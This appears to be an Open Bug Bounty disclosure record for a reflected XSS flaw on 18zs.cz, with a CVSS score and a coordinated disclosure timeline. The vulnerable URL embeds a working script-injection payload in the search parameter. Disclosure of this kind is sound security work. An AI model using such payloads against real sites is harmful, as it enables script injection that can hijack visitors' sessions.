18zs.cz XSS vulnerability

2017-12-04T10:33:00
ID OBB:447900
Type openbugbounty
Reporter AndreCalvinho
Modified 2018-03-04T10:33:00

Description

Open Bug Bounty ID: OBB-447900

Description| Value
---|---
Affected Website:| 18zs.cz
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
http://www.18zs.cz/hledat?search=%3C/script%3E%3E%3Cscript%3Eprompt(%22OPENBUGBOUNTY%22)%3C/script%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 4 December, 2017 10:33 GMT
Vulnerability Verified:| 4 December, 2017 10:36 GMT
Website Operator Notified:| 4 December, 2017 10:36 GMT
Vulnerability Published:| 4 December, 2017 10:36 GMT[without any technical details]
Public Disclosure:| 4 March, 2018 10:33 GMT